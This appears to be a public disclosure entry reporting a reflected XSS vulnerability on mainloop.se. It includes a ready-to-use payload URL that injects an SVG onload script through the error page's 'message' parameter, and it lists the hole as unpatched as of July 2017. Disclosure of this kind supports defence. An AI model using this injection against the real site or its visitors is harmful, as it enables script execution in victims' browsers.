mainloop.se XSS vulnerability

Vulnerable URL: http://www.mainloop.se/error.htm?message=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 12485046 Google Pagerank| 4 VI...